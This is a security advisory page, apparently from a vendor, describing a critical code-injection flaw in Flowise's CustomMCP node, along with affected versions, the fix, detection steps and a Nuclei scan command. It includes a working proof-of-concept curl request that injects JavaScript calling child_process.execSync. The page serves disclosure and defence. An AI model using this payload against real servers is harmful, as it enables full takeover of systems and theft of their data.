GHSA-3gcm-f6qx-ff7p — flowise
CRITICALGHSA-3gcm-f6qx-ff7p is a critical-severity (CVSS 10) Code Injection vulnerability in flowise. 1 public exploit reference exists, so weaponization risk is real. A fix is available for flowise — see the affected versions and patch details below.
Flowise has Remote Code Execution vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-3gcm-f6qx-ff7p.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-3gcm-f6qx-ff7p plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE sits: patch-first territory.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the 50–90% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmDescription
Description
Cause of the Vulnerability
The CustomMCP node allows users to input configuration settings for connecting to an external MCP (Model Context Protocol) server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.
Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as child_process and fs.
Vulnerability Flow
- User Input Received: Input is provided via the API endpoint
/api/v1/node-load-method/customMCPthrough themcpServerConfigparameter. - Variable Substitution: The
substituteVariablesInStringfunction replaces template variables like$vars.xxx, but no security filtering is applied during this step. - Dangerous Code Execution: The
convertToValidJSONStringfunction executes the input usingFunction('return ' + inputString)(). If theinputStringcontains malicious code, it gets executed in the global Node.js context, allowing actions such as command execution and file system access.
Taint Flow
-
Taint 01: Route Registration
index.ts(Line 5) -
Taint 02: Controller
index.ts(Line 57–78) -
Taint 03: Service
index.ts(Line 91–94) -
Taint 04: CustomMCP Node Entry Point
CustomMCP.ts(Line 132) -
Taint 05: Variable Substitution
CustomMCP.ts(Line 220) -
Taint 06: Dangerous Constructor Execution
CustomMCP.ts(Line 262–270)
Proof of Concept (PoC)
curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
}
}'
When executed, this creates a file /tmp/RCE.txt on the server, confirming command execution.
Impact
Complete System Takeover and Infrastructure Threat
This vulnerability allows attackers to execute arbitrary JavaScript code on the Flowise server, leading to:
- Full system compromise
- File system access
- Command execution
- Sensitive data exfiltration
As only an API token is required, this poses an extreme security risk to business continuity and customer data.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | ≥ 3.0.5&&< 3.0.6 | 3.0.6npm install flowise@3.0.6 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Flowise 3.0.4 - Remote Code Execution (RCE)
by nltt0 · Oct 31, 2025
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.0.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3gcm-f6qx-ff7p is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-3gcm-f6qx-ff7p can be triaged on real exposure rather than presence alone.
Tailored to GHSA-3gcm-f6qx-ff7p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect GHSA-3gcm-f6qx-ff7p
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-3gcm-f6qx-ff7p -u https://target- Template
- Flowise - Remote Code Execution
- Severity
- critical
- Impact
- Attackers can execute arbitrary code with full Node.js privileges, potentially leading to full system compromise.
- Remediation
- Update to version 3.0.6 or later.
Template by ProjectDiscovery nuclei-templates (xtr0nix), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-3gcm-f6qx-ff7p in your dependencies?
O3 Security finds GHSA-3gcm-f6qx-ff7p across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.